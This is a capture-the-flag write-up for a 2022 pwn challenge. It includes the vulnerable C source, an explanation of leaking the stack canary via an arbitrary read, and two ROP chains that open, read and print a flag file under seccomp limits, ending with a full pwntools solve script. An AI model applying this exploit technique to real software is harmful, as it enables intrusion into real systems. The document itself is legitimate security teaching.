One bullet
In Grey Cat The Flag Final 2022, 991 points
Very short ROP chain + stack canary
Challenge files: ld-2.31.so libc-2.31.so Makefile one_bullet.c
Introduction and analysis
This C program is fairly short and simple, so I've reproduced it completely below:
#include <stdio.h>
#include <string.h>
#include <stdbool.h>
#include <stdlib.h>
#include <unistd.h>
#include <seccomp.h>
#include <linux/seccomp.h>
void setup() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
setvbuf(stderr, NULL, _IONBF, 0);
scmp_filter_ctx ctx = seccomp_init(SCMP_ACT_KILL);
seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(read), 0);
seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(write), 0);
seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(open), 0);
seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(openat), 0);
seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(exit_group), 0);
seccomp_load(ctx);
}
int main() {
size_t* read_ptr;
setup();
printf("here's a bullet: %p\n", system);
printf("cocking the gun...\n");
read(0, &read_ptr, sizeof read_ptr);
write(1, read_ptr, sizeof read_ptr); // arb read
printf("fire! i bet u will miss tho...\n");
read(0, &read_ptr, 0x28); // buffer overflow
}
Right away, we have a libc leak. However, the program is compiled with full RELRO, stack protectors, PIE and non-executable stack. The seccomp rules also ban the use of execve
, so we will have to use a open/read/write ROP to read the flag.
We have a single arbitrary read, followed by a very small stack buffer overflow:
Unfortunately, we only have space for 2 ROP gadgets. It looks like we will have to do two ROP chains, the first one to expand the amount of data we can write, and the second to actually read the flag.
Exploitation
Before we get to ROP, we will need to leak the stack canary. Luckily, with some searching in GDB, we find that the stack canary is located in a region of memory a constant offset before the start of libc. It turns out the stack canary is stored in the thread local storage.
Now that we have leaked the canary, we can get to the actual ROP. I used ROPgadget
to list all usable gadgets in the provided libc.
Since we have just returned from read(0, &read_ptr, 0x28);
, the rdi
and rsi
registers are setup for a read to read_ptr
. The only thing we need to do is set rdx
to a larger value.
Searching for mov rdx
, I found
0x0000000000112ede : mov rdx, qword ptr [rsi] ; xor eax, eax ; cmp rcx, rdx ; seta al ; sbb eax, 0 ; ret
which sets rdx = *rsi
and a bunch of other harmless stuff. This is quite useful as rsi
currently points to read_ptr
, which we control. Thus we can control rdx
by setting the first qword of our input. Next, we call read
so we can extend our ROP chain. Since we are writing to read_ptr
, the second ROP chain will start at offset 0x28 to account for the first ROP chain.
mov_rdx_qword_rsi = libc.address + 0x0000000000112ede
p.send(p64(0x1337) + p64(canary) + p64(0) + p64(mov_rdx_qword_rsi) + p64(libc.sym.read))
Now that we have effectively unlimited buffer overflow, we can start with the second ROP. I found a nice writable region at the start of glibc that we can use to store the name of the file to open, as well as the read data. I also noted a few gadgets that seemed useful:
flag_txt_loc = libc.address + 0x1eb000
pop_rsi_ret = libc.address + 0x0000000000027529
pop_rdi_ret = libc.address + 0x0000000000026b72
pop_rcx_ret = libc.address + 0x000000000009f822
First, we will call read(0, flag_txt_loc, 0x1337)
to write flag.txt
(or wherever the flag is) to flag_txt_loc
. Luckily, rdi
and rdx
have already been set earlier, so we only need to deal with rsi
. This can be done pretty easily using the pop rsi
gadget:
rop_2 += p64(pop_rsi_ret)
rop_2 += p64(flag_txt_loc)
rop_2 += p64(libc.sym.read)
Next, we will call open(flag_txt_loc, 0)
. This can also be done quite easily using the pop rdi
and pop rsi
gadgets.
rop_2 += p64(pop_rdi_ret)
rop_2 += p64(flag_txt_loc)
rop_2 += p64(pop_rsi_ret)
rop_2 += p64(0)
rop_2 += p64(libc.sym.open)
Now, we need to call read(rax, flag_txt_loc, 0x1337)
. The hard part here is moving rax
into rdi
. I found a gadget that seems usable:
0x000000000005e7a2 : mov rdi, rax ; cmp rdx, rcx ; jae 0x5e78c ; mov rax, r8 ; ret
We just need to make sure that rdx
is smaller than rcx
so the jae
doesn't jump. This can be done by setting rcx
using pop rcx
and using the mov rdx, qword ptr [rsi]
to set rdx
. I decided to store the number of bytes to read at flag_txt_loc + 16
, so rsi
needs to be set to flag_txt_loc + 16
so that the right value can be moved into rdx
. rsi
is restored to flag_txt_loc
after mov rdi rax
and beforeread
, so the flag gets read to the right location.
# Read /flag
rop_2 += p64(pop_rcx_ret)
# rcx gotta be bigger than rdx so jae doesn't branch
rop_2 += p64(0x1337133713371337)
# mov rax (file descriptor) into rdi
rop_2 += p64(weird_mov_rdi_rax)
# Mov Flag length into rdx
# Use mov rdx, qword ptr [rsi]
rop_2 += p64(pop_rsi_ret)
rop_2 += p64(flag_txt_loc+0x10)
rop_2 += p64(mov_rdx_qword_rsi)
# Restore rsi to flag location
rop_2 += p64(pop_rsi_ret)
rop_2 += p64(flag_txt_loc)
rop_2 += p64(libc.sym.read)
Now, all that's left is to puts(flag_txt_loc)
:
rop_2 += p64(pop_rdi_ret)
rop_2 += p64(flag_txt_loc)
rop_2 += p64(libc.sym.puts)
And setup the ROP + flag_txt_loc
:
p.sendline(b"a"*0x28+rop_2)
sleep(1)
file_to_read = b"/flag"
p.send(file_to_read + b"\0" + b"a"*(16-len(file_to_read)-1)+p64(0x100))
Conclusion
During the CTF, I got stuck on leaking the stack canary. But after that the ROP chain is actually not that painful, although I was only able to test locally during the CTF and it may just decide to fail when run on the server. As the program segfaults after the last ROP, a call to fflush
might be needed to actually send the flag. Overall quite an interesting challenge that can yield quite a lot of different solutions.
Solve script
from ctflib.pwn import *
e = ELF("one_bullet.o_patched")
libc = ELF("libc-2.31.so", checksec=False)
ld = ELF("ld-2.31.so", checksec=False)
context.binary = e
def setup():
p = e.process()
return p
if __name__ == '__main__':
p = setup()
p.recvuntil("here's a bullet:")
leak = find_hex(p.recvline(), 12)
libc.address = leak - libc.sym.system
print("Libc base:", hex(libc.address))
# Leak canary
p.send(p64(libc.address - 0x2898))
p.recvline()
x = p.recvline()[:8]
canary = u64(x)
# First rop chain
mov_rdx_qword_rsi = libc.address + 0x0000000000112ede
p.send(p64(0x1337)+p64(canary)+p64(0)+p64(mov_rdx_qword_rsi)+p64(libc.sym.read) )
p.clean()
flag_txt_loc = libc.address + 0x1eb000
pop_rsi_ret = libc.address + 0x0000000000027529
pop_rdi_ret = libc.address + 0x0000000000026b72
pop_rcx_ret = libc.address + 0x000000000009f822
weird_mov_rdi_rax = libc.address + 0x000000000005e7a2
rop_2 = b""
# Write '/flag' + flag length to libc writable area
# File to read is controlled by input here
rop_2 += p64(pop_rsi_ret)
rop_2 += p64(flag_txt_loc)
rop_2 += p64(libc.sym.read)
# open /flag
# open('/flag', 0, whatever)
rop_2 += p64(pop_rdi_ret)
rop_2 += p64(flag_txt_loc)
rop_2 += p64(pop_rsi_ret)
rop_2 += p64(0)
rop_2 += p64(libc.sym.open)
# Read /flag
rop_2 += p64(pop_rcx_ret)
# rcx gotta be bigger than rdx so jae doesn't branch
rop_2 += p64(0x1337133713371337)
# mov rax (file descriptor) into rdi
rop_2 += p64(weird_mov_rdi_rax)
# Mov Flag length into rdx
# Use mov rdx, qword ptr [rsi]
rop_2 += p64(pop_rsi_ret)
rop_2 += p64(flag_txt_loc+0x10)
rop_2 += p64(mov_rdx_qword_rsi)
# Restore rsi to flag location
rop_2 += p64(pop_rsi_ret)
rop_2 += p64(flag_txt_loc)
rop_2 += p64(libc.sym.read)
# puts(flag_txt_loc)
rop_2 += p64(pop_rdi_ret)
rop_2 += p64(flag_txt_loc)
rop_2 += p64(libc.sym.puts)
p.sendline(b"a"*0x28+rop_2)
sleep(1)
file_to_read = b"/flag"
p.send(file_to_read + b"\0" + b"a"*(16-len(file_to_read)-1)+p64(0x100))
p.interactive()